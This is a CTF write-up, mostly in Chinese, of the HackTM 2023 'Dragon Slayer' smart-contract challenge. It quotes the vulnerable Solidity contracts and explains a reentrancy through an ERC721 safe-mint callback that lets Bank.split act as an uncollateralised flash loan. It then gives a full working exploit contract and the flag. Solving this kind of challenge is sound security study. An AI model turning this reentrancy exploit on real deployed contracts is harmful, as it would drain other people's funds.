2023 | HackTM CTF | smart contract

Dragon Slayer

#smart contract #solidity #flashloan

题目¶

Prove yourself a true champion. Kill the mighty dragon and earn the right to call yourself a dragon slayer.

nc 34.141.16.87 30100

dragon_slayer_contracts.zip

解题思路¶

目标是击败恶龙w

// contract Setup
function isSolved() external view returns (bool) {
    return knight.health() > 0 && knight.dragon().health() == 0;
}

Dragon 的攻击力、防御力以及血量都非常高

// contract Dragon
constructor(address knight_) {
    knight = knight_;
    health = 1_000_000;
    clawAttack = 1_000_000;
    fireAttack = 10_000_000;
    defence = 500_000;
    attackRound = 0;
}

而 Knight 初始只有 Bronze Dagger 和 Wooden Shield

// contract Shop
struct ItemProperties {
    string name;
    uint price;
    ItemType itemType;
    uint attack;
    uint defence;
    bool hasAntiFire;
}

constructor(address goldCoin_) {
    goldCoin = GoldCoin(goldCoin_);
    item = new Item();

    item.mint(address(this), 1, 10, "");
    items[1] = ItemProperties("Bronze Dagger", 10 ether, ItemType.SWORD, 1, 0, false);

    item.mint(address(this), 2, 10, "");
    items[2] = ItemProperties("Wooden Shield", 10 ether, ItemType.SHIELD, 0, 1, false);

    item.mint(address(this), 3, 10, "");
    items[3] = ItemProperties("Abyssal Whip", 1_000_000 ether, ItemType.SWORD, 1_000_000, 0, false);

    item.mint(address(this), 4, 10, "");
    items[4] = ItemProperties("Dragonfire Shield", 1_000_000 ether, ItemType.SHIELD, 0, 1_000_000, true);

    // msg.sender is Knight
    item.mint(msg.sender, 1, 1, "");
    item.mint(msg.sender, 2, 1, "");
}

购买商品需要足够的 GoldCoin，卖掉初始持有的 items 也不够购买 Abyssal Whip 和 Dragonfire Shield，并且 Shop 也没有 GC 支付 XD

// contract Shop
function buyItem(uint itemId) external {
    goldCoin.transferFrom(msg.sender, address(this), items[itemId].price);
    item.mint(msg.sender, itemId, 1, "");
}

function sellItem(uint itemId) external {
    item.burn(msg.sender, itemId, 1);
    goldCoin.transfer(msg.sender, items[itemId].price); // no goldCoin in shop at first
}

那么，得想办法从 Bank 弄点 GC 用 =ω=

BankNote 遵循 ERC721 代币标准，且 mint() 中调用了 _safeMint()

// contract BankNote
function mint(address to, uint256 tokenId) public onlyOwner {
    _safeMint(to, tokenId);
}

接下来需要想办法让 _safeMint() 调用设计好的 onERC721Received()。Bank 中 deposit()、merge() 和 split() 使用到了 BankNote.mint()，不过除 Knight 外，其他地址并没有 GC。因而在未持有 BN 和 GC 的情况下，可通过 Bank.merge() 触发 BankNote.mint()，其中传入数组 bankNoteIdsFrom 的长度为 \(0\)

// contract Bank
function deposit(uint amount) external {
    require(amount > 0, "ZERO");

    goldCoin.burn(msg.sender, amount);

    _ids.increment();
    uint bankNoteId = _ids.current();

    bankNote.mint(msg.sender, bankNoteId);
    bankNoteValues[bankNoteId] = amount;
}

function merge(uint[] memory bankNoteIdsFrom) external {
    uint totalValue;

    for (uint i = 0; i < bankNoteIdsFrom.length; i++) {
        uint bankNoteId = bankNoteIdsFrom[i];

        require(bankNote.ownerOf(bankNoteId) == msg.sender, "NOT_OWNER");
        bankNote.burn(bankNoteId);
        totalValue += bankNoteValues[bankNoteId];
        bankNoteValues[bankNoteId] = 0;
    }

    _ids.increment();
    uint bankNoteIdTo = _ids.current();
    bankNote.mint(msg.sender, bankNoteIdTo);
    bankNoteValues[bankNoteIdTo] += totalValue;
}

function split(uint bankNoteIdFrom, uint[] memory amounts) external {
    uint totalValue;
    require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");

    for (uint i = 0; i < amounts.length; i++) {
        uint value = amounts[i];

        _ids.increment();
        uint bankNoteId = _ids.current();

        bankNote.mint(msg.sender, bankNoteId);
        bankNoteValues[bankNoteId] = value;
        totalValue += value;
    }

    require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");
    bankNote.burn(bankNoteIdFrom);
    bankNoteValues[bankNoteIdFrom] = 0;
}

采用类似 flashloan 的方式使用 Bank.split()，使用完后 deposit() 再转移给 bankNoteIdFrom，就能通过判断 totalValue == bankNoteValues[bankNoteIdFrom]

// contract Bank
function deposit(uint amount) external {
    require(amount > 0, "ZERO");

    goldCoin.burn(msg.sender, amount);

    _ids.increment();
    uint bankNoteId = _ids.current();

    bankNote.mint(msg.sender, bankNoteId);
    bankNoteValues[bankNoteId] = amount;
}

function transferPartial(uint bankNoteIdFrom, uint amount, uint bankNoteIdTo) external {
    require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");
    require(bankNoteValues[bankNoteIdFrom] >= amount, "NOT_ENOUGH");

    bankNoteValues[bankNoteIdFrom] -= amount;
    bankNoteValues[bankNoteIdTo] += amount;
}

Exploit¶

contract Hack is IERC721Receiver {
    Setup setup;
    Knight knight;
    Bank bank;
    uint visitCnt;

    constructor(address instance) {
        setup = Setup(instance);
        knight = Knight(setup.knight());
        bank = Bank(knight.bank());

        uint[] memory emptyBankNoteIds;
        bank.merge(emptyBankNoteIds); // deploying, onERC721Received will not be called
    }

    function exploit() external {
        setup.claim();

        uint[] memory amounts = new uint[](2);
        amounts[0] = 2_000_000 ether;
        amounts[1] = 0;
        bank.split(1, amounts);
    }

    function attack() internal {
        bank.withdraw(2);
        IERC20(knight.goldCoin()).transfer(address(knight), 2_000_000 ether);

        knight.buyItem(3);
        knight.buyItem(4);
        for (uint i = 0; i < 2; i ++) knight.fightDragon();
        knight.sellItem(3);
        knight.sellItem(4);

        knight.bankDeposit(2_000_000 ether);
        knight.bankTransferPartial(4, 2_000_000 ether, 1);
    }

    function onERC721Received(address, address, uint256 tokenId, bytes calldata) public returns (bytes4) {
        if (visitCnt == 1) {
            attack();
        }
        visitCnt += 1;
        return this.onERC721Received.selector;
    }
}

Flag¶

HackTM{n0w_g0_g3t_th4t_run3_pl4t3b0dy_b4af5ff9eab4b0f7}

最后更新: 2023年2月21日 11:56:02

Contributors: YanhuiJessica
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Dragon Slayer

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